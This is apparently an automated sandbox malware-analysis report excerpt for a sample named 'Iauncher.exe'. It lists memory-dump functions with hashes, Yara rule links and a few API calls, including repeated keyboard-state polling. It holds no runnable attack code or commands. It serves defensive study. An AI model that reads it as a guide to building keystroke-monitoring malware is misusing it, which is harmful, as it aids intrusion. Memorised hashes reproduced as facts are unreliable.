Function 09CA8E98 Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3687267930.0000000009CA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 09CA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9ca0000_Iauncher.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9d1a8ac1a305df60a606dca6d364733491a4f532d8d9c660778baa3521cf5fe4
Instruction ID: 744e07ecfbfc96b012066df63b4591a173c6b2fbdba124dd3fa2e87eb7dacadd
Opcode Fuzzy Hash: 9d1a8ac1a305df60a606dca6d364733491a4f532d8d9c660778baa3521cf5fe4
Instruction Fuzzy Hash: 31E0C23620020DBBDF119E86DC40EDB7FADFB8D7A4F014101FE0866250C232A820EBA0

Uniqueness

Uniqueness Score: -1.00%

Function 05DDCE9E Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3684462828.0000000005DD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5dd0000_Iauncher.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b76efb86478ed585aa3c42f5ad032f6160e85d6d8c10c8dcfeb221de0f3c143d
Instruction ID: 1d0d79b2d77942d314b3f9792f2969ef449ad3d18c9ac0e3e2e48e1e65ee69f1
Opcode Fuzzy Hash: b76efb86478ed585aa3c42f5ad032f6160e85d6d8c10c8dcfeb221de0f3c143d
Instruction Fuzzy Hash: 4BE0ED757101049FCB08CF5DD884DAEF7F5FB8C224B2140A9E519D7361E631DD05CA50

Uniqueness

Uniqueness Score: -1.00%

Function 09CA8510 Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3687267930.0000000009CA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 09CA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9ca0000_Iauncher.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 88174059be14649e77e034e464523d97179b416af10f90c7d5b425cfade14785
Instruction ID: 2901d3d43f4c33a8f1448484228ad9c3e6fea12a96037fd6a799ba23fb4c9a2b
Opcode Fuzzy Hash: 88174059be14649e77e034e464523d97179b416af10f90c7d5b425cfade14785
Instruction Fuzzy Hash: B3F0F839900108EFCF41DF94D944D99BFB6EB49300F148095EA0817271D7329AA6EB80

Uniqueness

Uniqueness Score: -1.00%

Function 05DDD7F0 Relevance: .0, Instructions: 24COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3684462828.0000000005DD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5dd0000_Iauncher.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fab0e1f97cdf8bbf4ebd1d005d535071c226c02aeb48f419117d38c53816d2ed
Instruction ID: 55f1ed43ff5b33a7f8460e6eee2f3dd743ca7d010582f9297ecb7443483d1588
Opcode Fuzzy Hash: fab0e1f97cdf8bbf4ebd1d005d535071c226c02aeb48f419117d38c53816d2ed
Instruction Fuzzy Hash: 94E086323003146BD7259649FC04F9FBBDEDBD8715F14412AF609CB291CAF5B90287A5

Uniqueness

Uniqueness Score: -1.00%

Function 09CA55D2 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3687267930.0000000009CA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 09CA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9ca0000_Iauncher.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 840d8f1334e80e354c6e25e83a5fe33c7422f7fbd6c31ebe9883c9fa3ca4bb5d
Instruction ID: 62c6b0b2ad69512af710db6e118b61113aac63825a99d363157922ef6b170dc6
Opcode Fuzzy Hash: 840d8f1334e80e354c6e25e83a5fe33c7422f7fbd6c31ebe9883c9fa3ca4bb5d
Instruction Fuzzy Hash: 08F0E5709041449BC760CB68C480B58BFB0EB46320F2482EDDD544B382C6325E92CB81

Uniqueness

Uniqueness Score: -1.00%

Function 09CA55E0 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3687267930.0000000009CA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 09CA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9ca0000_Iauncher.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4d8416cf0f5bf261b0c2a45ae67e418c58ca49e09c35aad18e6291d635d62ee3
Instruction ID: 06005c71518fcfb1830c36cdf7e75399dea0338caa70eebd702dc96a6e61d27e
Opcode Fuzzy Hash: 4d8416cf0f5bf261b0c2a45ae67e418c58ca49e09c35aad18e6291d635d62ee3
Instruction Fuzzy Hash: CAE01274900208EFC740DFA8D54465CBBB5EB48210F2081A9DD0893340D632AE91DB44

Uniqueness

Uniqueness Score: -1.00%

Function 05DD9B20 Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3684462828.0000000005DD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5dd0000_Iauncher.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c3d7b7fac01cf0b4c92a55e321620fd66d7e0f7121e5b6ac751e793cfc43dc86
Instruction ID: da8c15707c0902efc85bc9bf3b1a0d83f89b51ac6ea5ebda11cab6d454f92ea1
Opcode Fuzzy Hash: c3d7b7fac01cf0b4c92a55e321620fd66d7e0f7121e5b6ac751e793cfc43dc86
Instruction Fuzzy Hash: 05D0A930A45208BBC640EBA48458B7AF33CDB03240F20259A860923290CAB26E40E2B8

Uniqueness

Uniqueness Score: -1.00%

Function 09CA6C22 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3687267930.0000000009CA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 09CA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9ca0000_Iauncher.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 275e40329b35cbc828d765cca1c7b7d365744b04c44ed8307bb023c94e8c4340
Instruction ID: 6c241f3a6e02c930e01d8e0c8c3b143b831abf6ece65769a4ee00a2051a8d78d
Opcode Fuzzy Hash: 275e40329b35cbc828d765cca1c7b7d365744b04c44ed8307bb023c94e8c4340
Instruction Fuzzy Hash: BCD05EB290D184AAE7117EE8A581A5A3F319B54251F0584EBF484190AB9671403CD7D7

Uniqueness

Uniqueness Score: -1.00%

Function 09CA6C30 Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3687267930.0000000009CA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 09CA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9ca0000_Iauncher.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: edca50cb207e6ea5d5a1626f97f4fab3e31a1cbc54d521a5f86d6db2363aa66a
Instruction ID: 70f019abf849caff963194aed9217c75f60b7682365fa95050573bbd5500c038
Opcode Fuzzy Hash: edca50cb207e6ea5d5a1626f97f4fab3e31a1cbc54d521a5f86d6db2363aa66a
Instruction Fuzzy Hash: 83C01271545108EADB003EE9A845A5E7F69AB08310F008466F9842616496B19138D6A7

Uniqueness

Uniqueness Score: -1.00%

Function 09CA5AE8 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3687267930.0000000009CA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 09CA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9ca0000_Iauncher.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 411bb830ce5343d11185096dcc806f3d51e58e9c2381d20953b3a3e4aeba6bd7
Instruction ID: f98b6d63e4f1400011ee0155286cb534c9d950e377214d56cd2ba1c8af692ca6
Opcode Fuzzy Hash: 411bb830ce5343d11185096dcc806f3d51e58e9c2381d20953b3a3e4aeba6bd7
Instruction Fuzzy Hash: 85C080706407885BF1142F94B448736325D5742216F508614731E055E0E5E59DD4D22F

Uniqueness

Uniqueness Score: -1.00%

Function 05DDB948 Relevance: .0, Instructions: 9COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3684462828.0000000005DD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5dd0000_Iauncher.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: edb52f79437d5c5a029e2b9fc1d939fa2fb04facc6dcdf6b3dc23a8334716e96
Instruction ID: 1c228e5ec4407ffe32c2c04467ff8ffca0b6a5b255b93d56046f15e58b509b73
Opcode Fuzzy Hash: edb52f79437d5c5a029e2b9fc1d939fa2fb04facc6dcdf6b3dc23a8334716e96
Instruction Fuzzy Hash: 29C02B1428834043C540F3940880759DA919F91300F90DC07E4884A241C010C807C733

Uniqueness

Uniqueness Score: -1.00%

Function 09CA7310 Relevance: .0, Instructions: 9COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3687267930.0000000009CA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 09CA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9ca0000_Iauncher.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a179f4697c04b77758c3e5ca584044fcc7aa30c02cc2a580d311af8a27d39747
Instruction ID: b824616d933405bbe9efe3dac3aa6a5d0512faf47a9dfcbb28911cc540c78d44
Opcode Fuzzy Hash: a179f4697c04b77758c3e5ca584044fcc7aa30c02cc2a580d311af8a27d39747
Instruction Fuzzy Hash: 5BC0483600024EBBCF02AE81ED11D9A3F2AAB08260F00C415FE1908171A673D970FBA1

Uniqueness

Uniqueness Score: -1.00%

Function 09CA898E Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3687267930.0000000009CA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 09CA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9ca0000_Iauncher.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f6bd19c40b1921fd5402dbeb5903b94da8af6717e85ad494350fe4ff122aa5e7
Instruction ID: 098fc06f5c7cd077d30b70b8a6ab1ca45031a42c6c468d53f6839c5c61b185ec
Opcode Fuzzy Hash: f6bd19c40b1921fd5402dbeb5903b94da8af6717e85ad494350fe4ff122aa5e7
Instruction Fuzzy Hash: 48B09237E0400ACADB108A96B4453EDF760FB80369F104023C31052000C23201748692

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 09BF2390 Relevance: 7.6, APIs: 5, Instructions: 115keyboardCOMMON

Download Yara Rule

APIs

GetKeyState.USER32(00000001), ref: 09BF23ED
GetKeyState.USER32(00000002), ref: 09BF2432
GetKeyState.USER32(00000004), ref: 09BF2477
GetKeyState.USER32(00000005), ref: 09BF24BC
GetKeyState.USER32(00000006), ref: 09BF2501

Memory Dump Source

Source File: 00000000.00000002.3687143886.0000000009BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 09BF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9bf0000_Iauncher.jbxd

Similarity

API ID: State
String ID:
API String ID: 1649606143-0
Opcode ID: 41fc5220539446c6123c483d096c33643d4b1bec7cf0e31589e9c82e2ffeeeeb
Instruction ID: af45cd545c64eb0e3031f185e8f4362808c562153cba179de3b250a2fb9c58be
Opcode Fuzzy Hash: 41fc5220539446c6123c483d096c33643d4b1bec7cf0e31589e9c82e2ffeeeeb
Instruction Fuzzy Hash: 4A41A271D007458EEB10DF59C5693AFBFF4BB04325F60845DD668B7280C3B9964ACBA2

Uniqueness

Uniqueness Score: -1.00%

Function 09CA5BE8 Relevance: 1.6, Strings: 1, Instructions: 398COMMON

Download Yara Rule

Strings

pq, xrefs: 09CA5EBF

Memory Dump Source

Source File: 00000000.00000002.3687267930.0000000009CA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 09CA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9ca0000_Iauncher.jbxd

Similarity

API ID:
String ID: pq
API String ID: 0-153521182
Opcode ID: 60e05bd51df983c6a481a3eec184661083b97296358d61727b9605f3f51c78b1
Instruction ID: 95ce5ce60fb8d8bfa6b5a7b11bf9049b204e88e4aae4c5a916a9490ddec97c8f
Opcode Fuzzy Hash: 60e05bd51df983c6a481a3eec184661083b97296358d61727b9605f3f51c78b1
Instruction Fuzzy Hash: 6302CF75A00218DFDB15CFA9D984E9DBBB2FF49304F1580A9E609AB236D731E991DF00

Uniqueness

Uniqueness Score: -1.00%

Function 09CA9DC8 Relevance: .4, Instructions: 420COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3687267930.0000000009CA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 09CA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9ca0000_Iauncher.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 92c67bb0819d0550a030d7f1f91cda011e9968396f2176c17d49f7f4e7425ba2
Instruction ID: 20c953f2e0aa78c3f3ea31e06d386940a418d0d1cfa8d25deefb8e716d71abf7
Opcode Fuzzy Hash: 92c67bb0819d0550a030d7f1f91cda011e9968396f2176c17d49f7f4e7425ba2
Instruction Fuzzy Hash: B3124835D10219CFDB10DF64C844BD9BBB1FF9A300F5182AAE5097B260EB70AA95CF41

Uniqueness

Uniqueness Score: -1.00%

Function 09CAF1A0 Relevance: .4, Instructions: 387COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3687267930.0000000009CA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 09CA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9ca0000_Iauncher.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0dc3337f773d02a348e1d229fc566ce757d06923336142753ebd35e71f260820
Instruction ID: e711849450e8a14ebd102e59df02af367ce3b92547c895add3ded303d1cabff7
Opcode Fuzzy Hash: 0dc3337f773d02a348e1d229fc566ce757d06923336142753ebd35e71f260820
Instruction Fuzzy Hash: 9F023934D10219DFDB10DF64C844BD9BBB1FF9A300F5182AAE549BB260EB709A95CF51

Uniqueness

Uniqueness Score: -1.00%

Function 09BF97F0 Relevance: .3, Instructions: 349COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3687143886.0000000009BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 09BF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9bf0000_Iauncher.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 297e90950b1b0c972263bf0f8b6eb0a362e5d8609a5d706c5ce6941d2935fdf9
Instruction ID: 048ffb75201ba133f0dc51216c06aa1de1eb6449679cb98eed26fd9eaed881a7
Opcode Fuzzy Hash: 297e90950b1b0c972263bf0f8b6eb0a362e5d8609a5d706c5ce6941d2935fdf9
Instruction Fuzzy Hash: E1025E75E002698FDB60DF69C990BDDBBF1FF49310F1081AAE949A7250EB709A84CF50

Uniqueness

Uniqueness Score: -1.00%

Function 05D6A940 Relevance: .3, Instructions: 337COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3683984827.0000000005D60000.00000040.00000800.00020000.00000000.sdmp, Offset: 05D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d60000_Iauncher.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c3f53b83e0774d4c05a0556bcb6d450ec88a9e9b66b0d43c5a2ee25162aa5390
Instruction ID: 12c8b14363919ae85974a1220d31eed145db8179b825f7b037af1348e8eada2a
Opcode Fuzzy Hash: c3f53b83e0774d4c05a0556bcb6d450ec88a9e9b66b0d43c5a2ee25162aa5390
Instruction Fuzzy Hash: E2E1C174E04218CBDB24DFB4D894BADBBB2FB49301F2091AAD45AB7391DB345982CF54

Uniqueness

Uniqueness Score: -1.00%

Function 09BF97E0 Relevance: .3, Instructions: 315COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3687143886.0000000009BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 09BF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9bf0000_Iauncher.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b40fc6e7f13407ec169a92b54414681119b3f871370d08a23ae39a9db0a3f0bc
Instruction ID: 956ffb328e78fa4f27f0617ca89012ddc51bdfdbf03880cd981009a9b6f5dfb1
Opcode Fuzzy Hash: b40fc6e7f13407ec169a92b54414681119b3f871370d08a23ae39a9db0a3f0bc
Instruction Fuzzy Hash: 14F18D75E002298FDB60DF69C990BDDBBB1FF59310F1081AAE949B7250EB709A84CF50

Uniqueness

Uniqueness Score: -1.00%

Function 05D8D8C1 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3684118323.0000000005D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 05D80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d80000_Iauncher.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c58e5b78860a1dba72943483afc76172f0df34ac38f81eba13f12540c354f01e
Instruction ID: cfa1c46056aa60932b1838ffa96603f9ba6218e5f6dfaff84c754da634c0edea
Opcode Fuzzy Hash: c58e5b78860a1dba72943483afc76172f0df34ac38f81eba13f12540c354f01e
Instruction Fuzzy Hash: 91D1E735D2075A8ACB10EF68D990A99F7B1FF95300F20C79AE4197B214FB706AC5CB91

Uniqueness

Uniqueness Score: -1.00%

Function 05D8D8D0 Relevance: .3, Instructions: 264COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3684118323.0000000005D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 05D80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d80000_Iauncher.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1dcb8909a2e573b9e701a4b747b7f8dfd0eceb4e6c16da4153e292b794c22dea
Instruction ID: b6f60b24530159198ec40f53739a371f1715b360a6908abf8f14a78ac27aa02a
Opcode Fuzzy Hash: 1dcb8909a2e573b9e701a4b747b7f8dfd0eceb4e6c16da4153e292b794c22dea
Instruction Fuzzy Hash: 81D1E735D2075A8ACB10EF68D990A99F7B1FF95300F20C79AE4197B214FB706AC5CB91

Uniqueness

Uniqueness Score: -1.00%

Function 09BF253F Relevance: .1, Instructions: 110COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3687143886.0000000009BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 09BF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9bf0000_Iauncher.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 27ce419f15acee24ef7ff7297e971585dea0b8a0cf4a23aa89f7e5b71f50e539
Instruction ID: ae1cb9e2e894201d803b0a966bf2012e0981922b66f1da5e44ff10034b3dc561
Opcode Fuzzy Hash: 27ce419f15acee24ef7ff7297e971585dea0b8a0cf4a23aa89f7e5b71f50e539
Instruction Fuzzy Hash: 06415430E002599FDB00DFE8D8A87EEBBB1FB49315F10416AE511AB394DB749989CF90

Uniqueness

Uniqueness Score: -1.00%

Function 05DB78F8 Relevance: .1, Instructions: 104COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3684315895.0000000005DB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05DB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5db0000_Iauncher.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9ecd282a80144907692472c8a8877a68d80c1bc3a98daccb7b00acd0e9fae4ef
Instruction ID: 0811ce5e1bbbdf0aad33591e2511948cd15b78e94c88e023f81320b05e7265c4
Opcode Fuzzy Hash: 9ecd282a80144907692472c8a8877a68d80c1bc3a98daccb7b00acd0e9fae4ef
Instruction Fuzzy Hash: D641E570E00219CFEB04DFA8D584BEEBBB2EB49301F10446AD412B7391D774AA45CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 05DB7908 Relevance: .1, Instructions: 100COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3684315895.0000000005DB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05DB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5db0000_Iauncher.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f574449eb9929ea265046054e642c5e9c9d846e43730972ec100065fb4ddbaf7
Instruction ID: 159601de5a6a91e48944d5d18a712da7b9757cd342a032164f9dd712bdc17604
Opcode Fuzzy Hash: f574449eb9929ea265046054e642c5e9c9d846e43730972ec100065fb4ddbaf7
Instruction Fuzzy Hash: 8231E570E00219CFEB04DFA9D588BEEBBB2FB48301F10446AD411B7390D774AA45CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 05DB7A41 Relevance: .0, Instructions: 37COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3684315895.0000000005DB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05DB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5db0000_Iauncher.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 97a4a17a1aa6b66ea2f3b7503c94e638f51f8e082e1d528ab67d8593a335f09d
Instruction ID: b4ef15ab281b37ce2a79a419e6b976d1e227b89e379b405fccd991553571ab1e
Opcode Fuzzy Hash: 97a4a17a1aa6b66ea2f3b7503c94e638f51f8e082e1d528ab67d8593a335f09d
Instruction Fuzzy Hash: CEF06275F002099FDB00DFA8D844ADEBBF5EB4A221F1041A6E519E7351D671ED018B65

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: Iauncher.exePID: 7256, Parent PID: 6692COMMON

Execution Graph

Execution Coverage:	5.2%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0.9%
Total number of Nodes:	2000
Total number of Limit Nodes:	79

Executed Functions

Function 0057A789 Relevance: .0, Instructions: 22COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.1282245123.0000000000561000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00560000, based on PE: true

Associated: 0000000B.00000002.1282221168.0000000000560000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282309727.0000000000584000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282336889.000000000058E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282336889.00000000005C4000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282336889.00000000005D3000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282753451.00000000005DC000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1283537777.00000000005DD000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_560000_Iauncher.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4712b80276cd771b58b8e09bf769c485b2bc14740f32cbc8fff33ad459dada42
Instruction ID: f7f2dfd2968e96a752f50a4316494520d8aaf1e3d46847255f723b651c777065
Opcode Fuzzy Hash: 4712b80276cd771b58b8e09bf769c485b2bc14740f32cbc8fff33ad459dada42
Instruction Fuzzy Hash: 1FE08C72912228EBCB19DBC8D90898AF7FCFB84B00B1188A6F50AD3201D2B0DE00D7D0

Uniqueness

Uniqueness Score: -1.00%

Function 00570E87 Relevance: .0, Instructions: 12COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.1282245123.0000000000561000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00560000, based on PE: true

Associated: 0000000B.00000002.1282221168.0000000000560000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282309727.0000000000584000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282336889.000000000058E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282336889.00000000005C4000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282336889.00000000005D3000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282753451.00000000005DC000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1283537777.00000000005DD000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_560000_Iauncher.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eedd12195004b50f187168fbc7ef43d299e5fc9ab837594ef173dd7107a705ca
Instruction ID: 5c94c5bb7f2b5dd1d20e19cffa3d298a53f6880de57231a53dcef7169ea5997e
Opcode Fuzzy Hash: eedd12195004b50f187168fbc7ef43d299e5fc9ab837594ef173dd7107a705ca
Instruction Fuzzy Hash: 78C08C74010A10CBCF298910A371BBA37A8F3D6782F806C8CC84A0B682D51EAC82F601

Uniqueness

Uniqueness Score: -1.00%

Function 005759BC Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNEL32(00000000,?,00000000,00000800,00000000,00000000,?,940D2BD2,?,00575AC9,?,?,00000000,00000000), ref: 00575A7D

Strings

api-ms-, xrefs: 00575A13
ext-ms-, xrefs: 00575A27

Memory Dump Source

Source File: 0000000B.00000002.1282245123.0000000000561000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00560000, based on PE: true

Associated: 0000000B.00000002.1282221168.0000000000560000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282309727.0000000000584000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282336889.000000000058E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282336889.00000000005C4000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282336889.00000000005D3000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282753451.00000000005DC000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1283537777.00000000005DD000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_560000_Iauncher.jbxd

Yara matches

Similarity

API ID: FreeLibrary
String ID: api-ms-$ext-ms-
API String ID: 3664257935-537541572
Opcode ID: 983ec614eabb1074214c8524db80e8d0e48f87299a8e29ded99b38efc0c4860d
Instruction ID: b84c1242fdbea7eda980ab697b976c7b6d7f5eac478a713b38ad3eba91998bec
Opcode Fuzzy Hash: 983ec614eabb1074214c8524db80e8d0e48f87299a8e29ded99b38efc0c4860d
Instruction Fuzzy Hash: 53210832A01611EBC7229B64FC84A5A3F58FB55762F248230ED1DB7290F670EE04E7D0

Uniqueness

Uniqueness Score: -1.00%

Function 005769BB Relevance: 7.7, APIs: 5, Instructions: 202
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__alloca_probe_16.LIBCMT ref: 00576A42
__alloca_probe_16.LIBCMT ref: 00576B03
__freea.LIBCMT ref: 00576B6A

Part of subcall function 005745C0: RtlAllocateHeap.NTDLL(00000000,00564449,?,?,00568DF4,?,?,?,?,?,005621CC,00564449,?,?,?,?), ref: 005745F2

__freea.LIBCMT ref: 00576B7F
__freea.LIBCMT ref: 00576B8F

Memory Dump Source

Source File: 0000000B.00000002.1282245123.0000000000561000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00560000, based on PE: true

Associated: 0000000B.00000002.1282221168.0000000000560000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282309727.0000000000584000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282336889.000000000058E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282336889.00000000005C4000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282336889.00000000005D3000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282753451.00000000005DC000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1283537777.00000000005DD000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_560000_Iauncher.jbxd

Yara matches

Similarity

API ID: __freea$__alloca_probe_16$AllocateHeap
String ID:
API String ID: 1423051803-0
Opcode ID: 88cdc78730163c30d78f619839e2a5bd8191e3acd855ad70fc20a28e66253f45
Instruction ID: 75ccacdb1abb48a8ce29557907a02f3490e0a1303acd1e7ae797188e494db110
Opcode Fuzzy Hash: 88cdc78730163c30d78f619839e2a5bd8191e3acd855ad70fc20a28e66253f45
